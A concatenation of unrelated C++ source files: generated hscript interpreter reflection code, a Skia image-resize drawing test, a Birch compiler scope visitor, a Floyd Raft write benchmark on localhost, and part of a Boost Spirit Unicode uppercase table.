if (HX_FIELD_EQ(inName,"inTry") ) { return ::hx::Val( inTry ); }
if (HX_FIELD_EQ(inName,"error") ) { return ::hx::Val( error_dyn() ); }
if (HX_FIELD_EQ(inName,"isMap") ) { return ::hx::Val( isMap_dyn() ); }
if (HX_FIELD_EQ(inName,"fcall") ) { return ::hx::Val( fcall_dyn() ); }
break;
case 6:
if (HX_FIELD_EQ(inName,"locals") ) { return ::hx::Val( locals ); }
if (HX_FIELD_EQ(inName,"binops") ) { return ::hx::Val( binops ); }
if (HX_FIELD_EQ(inName,"assign") ) { return ::hx::Val( assign_dyn() ); }
break;
case 7:
if (HX_FIELD_EQ(inName,"initOps") ) { return ::hx::Val( initOps_dyn() ); }
if (HX_FIELD_EQ(inName,"execute") ) { return ::hx::Val( execute_dyn() ); }
if (HX_FIELD_EQ(inName,"restore") ) { return ::hx::Val( restore_dyn() ); }
if (HX_FIELD_EQ(inName,"rethrow") ) { return ::hx::Val( rethrow_dyn() ); }
if (HX_FIELD_EQ(inName,"resolve") ) { return ::hx::Val( resolve_dyn() ); }
if (HX_FIELD_EQ(inName,"forLoop") ) { return ::hx::Val( forLoop_dyn() ); }
break;
case 8:
if (HX_FIELD_EQ(inName,"declared") ) { return ::hx::Val( declared ); }
if (HX_FIELD_EQ(inName,"posInfos") ) { return ::hx::Val( posInfos_dyn() ); }
if (HX_FIELD_EQ(inName,"assignOp") ) { return ::hx::Val( assignOp_dyn() ); }
break;
case 9:
if (HX_FIELD_EQ(inName,"variables") ) { return ::hx::Val( variables ); }
if (HX_FIELD_EQ(inName,"increment") ) { return ::hx::Val( increment_dyn() ); }
if (HX_FIELD_EQ(inName,"duplicate") ) { return ::hx::Val( duplicate_dyn() ); }
if (HX_FIELD_EQ(inName,"whileLoop") ) { return ::hx::Val( whileLoop_dyn() ); }
break;
case 10:
if (HX_FIELD_EQ(inName,"exprReturn") ) { return ::hx::Val( exprReturn_dyn() ); }
break;
case 11:
if (HX_FIELD_EQ(inName,"returnValue") ) { return ::hx::Val( returnValue ); }
if (HX_FIELD_EQ(inName,"doWhileLoop") ) { return ::hx::Val( doWhileLoop_dyn() ); }
if (HX_FIELD_EQ(inName,"getMapValue") ) { return ::hx::Val( getMapValue_dyn() ); }
if (HX_FIELD_EQ(inName,"setMapValue") ) { return ::hx::Val( setMapValue_dyn() ); }
break;
case 12:
if (HX_FIELD_EQ(inName,"evalAssignOp") ) { return ::hx::Val( evalAssignOp_dyn() ); }
if (HX_FIELD_EQ(inName,"makeIterator") ) { return ::hx::Val( makeIterator_dyn() ); }
break;
case 14:
if (HX_FIELD_EQ(inName,"resetVariables") ) { return ::hx::Val( resetVariables_dyn() ); }
}
return super::__Field(inName,inCallProp);
}
::hx::Val Interp_obj::__SetField(const ::String &inName,const ::hx::Val &inValue,::hx::PropertyAccess inCallProp)
{
switch(inName.length) {
case 5:
if (HX_FIELD_EQ(inName,"depth") ) { depth=inValue.Cast< int >(); return inValue; }
if (HX_FIELD_EQ(inName,"inTry") ) { inTry=inValue.Cast< bool >(); return inValue; }
break;
case 6:
if (HX_FIELD_EQ(inName,"locals") ) { locals=inValue.Cast< ::haxe::ds::StringMap >(); return inValue; }
if (HX_FIELD_EQ(inName,"binops") ) { binops=inValue.Cast< ::haxe::ds::StringMap >(); return inValue; }
break;
case 8:
if (HX_FIELD_EQ(inName,"declared") ) { declared=inValue.Cast< ::Array< ::Dynamic> >(); return inValue; }
break;
case 9:
if (HX_FIELD_EQ(inName,"variables") ) { variables=inValue.Cast< ::haxe::ds::StringMap >(); return inValue; }
break;
case 11:
if (HX_FIELD_EQ(inName,"returnValue") ) { returnValue=inValue.Cast< ::Dynamic >(); return inValue; }
}
return super::__SetField(inName,inValue,inCallProp);
}
void Interp_obj::__GetFields(Array< ::String> &outFields)
{
outFields->push(HX_("variables",b7,e2,62,82));
outFields->push(HX_("locals",a8,74,bf,59));
outFields->push(HX_("binops",cb,59,16,ed));
outFields->push(HX_("depth",03,f1,29,d7));
outFields->push(HX_("inTry",56,82,08,be));
outFields->push(HX_("declared",fa,58,bc,c4));
outFields->push(HX_("returnValue",a1,4c,95,3e));
super::__GetFields(outFields);
};
#ifdef HXCPP_SCRIPTABLE
static ::hx::StorageInfo Interp_obj_sMemberStorageInfo[] = {
{::hx::fsObject /* ::haxe::ds::StringMap */ ,(int)offsetof(Interp_obj,variables),HX_("variables",b7,e2,62,82)},
{::hx::fsObject /* ::haxe::ds::StringMap */ ,(int)offsetof(Interp_obj,locals),HX_("locals",a8,74,bf,59)},
{::hx::fsObject /* ::haxe::ds::StringMap */ ,(int)offsetof(Interp_obj,binops),HX_("binops",cb,59,16,ed)},
{::hx::fsInt,(int)offsetof(Interp_obj,depth),HX_("depth",03,f1,29,d7)},
{::hx::fsBool,(int)offsetof(Interp_obj,inTry),HX_("inTry",56,82,08,be)},
{::hx::fsObject /* ::Array< ::Dynamic> */ ,(int)offsetof(Interp_obj,declared),HX_("declared",fa,58,bc,c4)},
{::hx::fsObject /* ::Dynamic */ ,(int)offsetof(Interp_obj,returnValue),HX_("returnValue",a1,4c,95,3e)},
{ ::hx::fsUnknown, 0, null()}
};
static ::hx::StaticInfo *Interp_obj_sStaticStorageInfo = 0;
#endif
static ::String Interp_obj_sMemberFields[] = {
HX_("variables",b7,e2,62,82),
HX_("locals",a8,74,bf,59),
HX_("binops",cb,59,16,ed),
HX_("depth",03,f1,29,d7),
HX_("inTry",56,82,08,be),
HX_("declared",fa,58,bc,c4),
HX_("returnValue",a1,4c,95,3e),
HX_("resetVariables",e8,46,d3,dc),
HX_("posInfos",11,82,2e,5a),
HX_("initOps",02,63,8b,cb),
HX_("assign",2f,46,06,4c),
HX_("assignOp",30,b5,c7,0e),
HX_("evalAssignOp",ec,d8,94,19),
HX_("increment",2f,06,ff,31),
HX_("execute",35,0a,0d,cc),
HX_("exprReturn",c5,6b,ed,86),
HX_("duplicate",8b,21,17,a1),
HX_("restore",4e,67,b0,6a),
HX_("error",c8,cb,29,73),
HX_("rethrow",93,b0,2a,f6),
HX_("resolve",ec,12,60,67),
HX_("expr",35,fd,1d,43),
HX_("doWhileLoop",aa,01,97,3a),
HX_("whileLoop",b5,42,98,e1),
HX_("makeIterator",fc,dd,72,d8),
HX_("forLoop",0d,52,69,c9),
HX_("isMap",d2,34,51,c1),
HX_("getMapValue",eb,b1,ee,ce),
HX_("setMapValue",f7,b8,5b,d9),
HX_("get",96,80,4e,00),
HX_("set",a2,9b,57,00),
HX_("fcall",04,44,99,fc),
HX_("call",9e,18,ba,41),
HX_("cnew",dd,ef,c3,41),
::String(null()) };
::hx::Class Interp_obj::__mClass;
void Interp_obj::__register()
{
Interp_obj _hx_dummy;
Interp_obj::_hx_vtable = *(void **)&_hx_dummy;
::hx::Static(__mClass) = new ::hx::Class_obj();
__mClass->mName = HX_("hscript.Interp",8f,7c,f0,9a);
__mClass->mSuper = &super::__SGetClass();
__mClass->mConstructEmpty = &__CreateEmpty;
__mClass->mConstructArgs = &__Create;
__mClass->mGetStaticField = &::hx::Class_obj::GetNoStaticField;
__mClass->mSetStaticField = &::hx::Class_obj::SetNoStaticField;
__mClass->mStatics = ::hx::Class_obj::dupFunctions(0 /* sStaticFields */);
__mClass->mMembers = ::hx::Class_obj::dupFunctions(Interp_obj_sMemberFields);
__mClass->mCanCast = ::hx::TCanCast< Interp_obj >;
#ifdef HXCPP_SCRIPTABLE
__mClass->mMemberStorageInfo = Interp_obj_sMemberStorageInfo;
#endif
#ifdef HXCPP_SCRIPTABLE
__mClass->mStaticStorageInfo = Interp_obj_sStaticStorageInfo;
#endif
::hx::_hx_RegisterClass(__mClass->mName, __mClass);
}
} // end namespace hscript
| 87,738 | 46,235 |
/*
* Copyright 2014 Google Inc.
*
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file.
*/
#include "gm.h"
#include "SkMatrixImageFilter.h"
#include "SkRandom.h"
#define WIDTH 640
#define HEIGHT 480
#define RESIZE_FACTOR SkIntToScalar(2)
namespace skiagm {
class ImageResizeTiledGM : public GM {
public:
ImageResizeTiledGM() {
}
protected:
virtual SkString onShortName() SK_OVERRIDE {
return SkString("imageresizetiled");
}
virtual SkISize onISize() SK_OVERRIDE {
return make_isize(WIDTH, HEIGHT);
}
virtual uint32_t onGetFlags() const SK_OVERRIDE {
return kSkipTiled_Flag;
}
virtual void onDraw(SkCanvas* canvas) SK_OVERRIDE {
SkPaint paint;
SkMatrix matrix;
matrix.setScale(RESIZE_FACTOR, RESIZE_FACTOR);
SkAutoTUnref<SkImageFilter> imageFilter(
SkMatrixImageFilter::Create(matrix, SkPaint::kNone_FilterLevel));
paint.setImageFilter(imageFilter.get());
const SkScalar tile_size = SkIntToScalar(100);
SkRect bounds;
canvas->getClipBounds(&bounds);
for (SkScalar y = 0; y < HEIGHT; y += tile_size) {
for (SkScalar x = 0; x < WIDTH; x += tile_size) {
canvas->save();
canvas->clipRect(SkRect::MakeXYWH(x, y, tile_size, tile_size));
canvas->scale(SkScalarInvert(RESIZE_FACTOR),
SkScalarInvert(RESIZE_FACTOR));
canvas->saveLayer(NULL, &paint);
const char* str[] = {
"The quick",
"brown fox",
"jumped over",
"the lazy dog.",
};
SkPaint textPaint;
textPaint.setAntiAlias(true);
textPaint.setTextSize(SkIntToScalar(100));
int posY = 0;
for (unsigned i = 0; i < SK_ARRAY_COUNT(str); i++) {
posY += 100;
canvas->drawText(str[i], strlen(str[i]), SkIntToScalar(0),
SkIntToScalar(posY), textPaint);
}
canvas->restore();
canvas->restore();
}
}
}
private:
typedef GM INHERITED;
};
//////////////////////////////////////////////////////////////////////////////
DEF_GM(return new ImageResizeTiledGM(); )
}
| 2,451 | 771 |
/**
* @file
*/
#include "src/visitor/ScopedModifier.hpp"
birch::ScopedModifier::ScopedModifier(Package* currentPackage,
Class* currentClass) :
ContextualModifier(currentPackage, currentClass),
inMember(0),
inGlobal(0) {
if (currentPackage) {
scopes.push_back(currentPackage->scope);
if (currentClass) {
scopes.push_back(currentClass->scope);
}
}
}
birch::ScopedModifier::~ScopedModifier() {
//
}
birch::Package* birch::ScopedModifier::modify(Package* o) {
scopes.push_back(o->scope);
ContextualModifier::modify(o);
scopes.pop_back();
return o;
}
birch::Expression* birch::ScopedModifier::modify(LambdaFunction* o) {
scopes.push_back(o->scope);
ContextualModifier::modify(o);
scopes.pop_back();
return o;
}
birch::Expression* birch::ScopedModifier::modify(Member* o) {
o->left = o->left->accept(this);
++inMember;
o->right = o->right->accept(this);
--inMember;
return o;
}
birch::Expression* birch::ScopedModifier::modify(Global* o) {
++inGlobal;
o->single = o->single->accept(this);
--inGlobal;
return o;
}
birch::Statement* birch::ScopedModifier::modify(MemberFunction* o) {
scopes.push_back(o->scope);
ContextualModifier::modify(o);
scopes.pop_back();
return o;
}
birch::Statement* birch::ScopedModifier::modify(Function* o) {
scopes.push_back(o->scope);
ContextualModifier::modify(o);
scopes.pop_back();
return o;
}
birch::Statement* birch::ScopedModifier::modify(BinaryOperator* o) {
scopes.push_back(o->scope);
ContextualModifier::modify(o);
scopes.pop_back();
return o;
}
birch::Statement* birch::ScopedModifier::modify(UnaryOperator* o) {
scopes.push_back(o->scope);
ContextualModifier::modify(o);
scopes.pop_back();
return o;
}
birch::Statement* birch::ScopedModifier::modify(Program* o) {
scopes.push_back(o->scope);
ContextualModifier::modify(o);
scopes.pop_back();
return o;
}
birch::Statement* birch::ScopedModifier::modify(AssignmentOperator* o) {
scopes.push_back(o->scope);
ContextualModifier::modify(o);
scopes.pop_back();
return o;
}
birch::Statement* birch::ScopedModifier::modify(ConversionOperator* o) {
scopes.push_back(o->scope);
ContextualModifier::modify(o);
scopes.pop_back();
return o;
}
birch::Statement* birch::ScopedModifier::modify(Class* o) {
this->currentClass = o;
scopes.push_back(o->scope);
o->typeParams = o->typeParams->accept(this);
o->base = o->base->accept(this);
scopes.push_back(o->initScope);
o->params = o->params->accept(this);
o->args = o->args->accept(this);
scopes.pop_back();
o->braces = o->braces->accept(this);
scopes.pop_back();
this->currentClass = nullptr;
return o;
}
birch::Statement* birch::ScopedModifier::modify(If* o) {
scopes.push_back(o->scope);
o->cond = o->cond->accept(this);
o->braces = o->braces->accept(this);
scopes.pop_back();
scopes.push_back(o->falseScope);
o->falseBraces = o->falseBraces->accept(this);
scopes.pop_back();
return o;
}
birch::Statement* birch::ScopedModifier::modify(For* o) {
scopes.push_back(o->scope);
ContextualModifier::modify(o);
scopes.pop_back();
return o;
}
birch::Statement* birch::ScopedModifier::modify(Parallel* o) {
scopes.push_back(o->scope);
ContextualModifier::modify(o);
scopes.pop_back();
return o;
}
birch::Statement* birch::ScopedModifier::modify(While* o) {
scopes.push_back(o->scope);
ContextualModifier::modify(o);
scopes.pop_back();
return o;
}
birch::Statement* birch::ScopedModifier::modify(DoWhile* o) {
scopes.push_back(o->scope);
o->braces = o->braces->accept(this);
scopes.pop_back();
o->cond = o->cond->accept(this);
return o;
}
birch::Statement* birch::ScopedModifier::modify(With* o) {
scopes.push_back(o->scope);
ContextualModifier::modify(o);
scopes.pop_back();
return o;
}
birch::Statement* birch::ScopedModifier::modify(Block* o) {
scopes.push_back(o->scope);
o->braces = o->braces->accept(this);
scopes.pop_back();
return o;
}
| 3,998 | 1,567 |
// Copyright (c) 2015-present, Qihoo, Inc. All rights reserved.
// This source code is licensed under the BSD-style license found in the
// LICENSE file in the root directory of this source tree. An additional grant
// of patent rights can be found in the PATENTS file in the same directory.
#include <unistd.h>
#include <stdlib.h>
#include <sys/time.h>
#include <pthread.h>
#include <signal.h>
#include <iostream>
#include <string>
#include "floyd/include/floyd.h"
#include "slash/include/testutil.h"
using namespace floyd;
uint64_t NowMicros() {
struct timeval tv;
gettimeofday(&tv, NULL);
return static_cast<uint64_t>(tv.tv_sec) * 1000000 + tv.tv_usec;
}
Floyd *f1, *f2, *f3, *f4, *f5;
std::string keystr[1001000];
std::string valstr[1001000];
int val_size = 128;
int thread_num = 4;
int item_num = 10000;
void *fun(void *arg) {
int i = 1;
Floyd *p;
if (f1->IsLeader()) {
p = f1;
} else if (f2->IsLeader()) {
p = f2;
} else if (f3->IsLeader()) {
p = f3;
} else if (f4->IsLeader()) {
p = f4;
} else {
p = f5;
}
while (i--) {
for (int j = 0; j < item_num; j++) {
p->Write(keystr[j], valstr[j]);
}
}
}
int main(int argc, char * argv[])
{
if (argc > 1) {
thread_num = atoi(argv[1]);
}
if (argc > 2) {
val_size = atoi(argv[2]);
}
if (argc > 3) {
item_num = atoi(argv[3]);
}
printf("multi threads test to get performance thread num %d key size %d item number %d\n", thread_num, val_size, item_num);
Options op1("127.0.0.1:8901,127.0.0.1:8902,127.0.0.1:8903,127.0.0.1:8904,127.0.0.1:8905", "127.0.0.1", 8901, "./data1/");
slash::Status s = Floyd::Open(op1, &f1);
printf("%s\n", s.ToString().c_str());
Options op2("127.0.0.1:8901,127.0.0.1:8902,127.0.0.1:8903,127.0.0.1:8904,127.0.0.1:8905", "127.0.0.1", 8902, "./data2/");
s = Floyd::Open(op2, &f2);
printf("%s\n", s.ToString().c_str());
Options op3("127.0.0.1:8901,127.0.0.1:8902,127.0.0.1:8903,127.0.0.1:8904,127.0.0.1:8905", "127.0.0.1", 8903, "./data3/");
s = Floyd::Open(op3, &f3);
printf("%s\n", s.ToString().c_str());
Options op4("127.0.0.1:8901,127.0.0.1:8902,127.0.0.1:8903,127.0.0.1:8904,127.0.0.1:8905", "127.0.0.1", 8904, "./data4/");
s = Floyd::Open(op4, &f4);
printf("%s\n", s.ToString().c_str());
Options op5("127.0.0.1:8901,127.0.0.1:8902,127.0.0.1:8903,127.0.0.1:8904,127.0.0.1:8905", "127.0.0.1", 8905, "./data5/");
s = Floyd::Open(op5, &f5);
printf("%s\n", s.ToString().c_str());
std::string msg;
int i = 10;
uint64_t st = NowMicros(), ed;
for (int i = 0; i < item_num; i++) {
keystr[i] = slash::RandomString(32);
}
for (int i = 0; i < item_num; i++) {
valstr[i] = slash::RandomString(val_size);
}
while (1) {
if (f1->HasLeader()) {
f1->GetServerStatus(&msg);
printf("%s\n", msg.c_str());
break;
}
printf("electing leader... sleep 2s\n");
sleep(2);
}
pthread_t pid[24];
st = NowMicros();
for (int i = 0; i < thread_num; i++) {
pthread_create(&pid[i], NULL, fun, NULL);
}
for (int i = 0; i < thread_num; i++) {
pthread_join(pid[i], NULL);
}
ed = NowMicros();
printf("write %d datas cost time microsecond(us) %ld, qps %llu\n", item_num * thread_num, ed - st, item_num * thread_num * 1000000LL / (ed - st));
getchar();
delete f2;
delete f3;
delete f4;
delete f5;
delete f1;
return 0;
}
| 3,380 | 1,733 |
/*=============================================================================
Copyright (c) 2001-2011 Joel de Guzman
Distributed under the Boost Software License, Version 1.0. (See accompanying
file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
AUTOGENERATED. DO NOT EDIT!!!
==============================================================================*/
#include <boost/cstdint.hpp>
namespace boost {
namespace spirit {
namespace ucd {
namespace detail {
static const ::boost::uint8_t uppercase_stage1[] = {
0, 1, 2, 3, 4, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 7, 8, 9, 6, 10, 6, 6, 11, 6, 6, 6, 6, 6, 6, 6, 12, 13,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 14, 15, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 16, 6, 6, 6, 6, 17, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
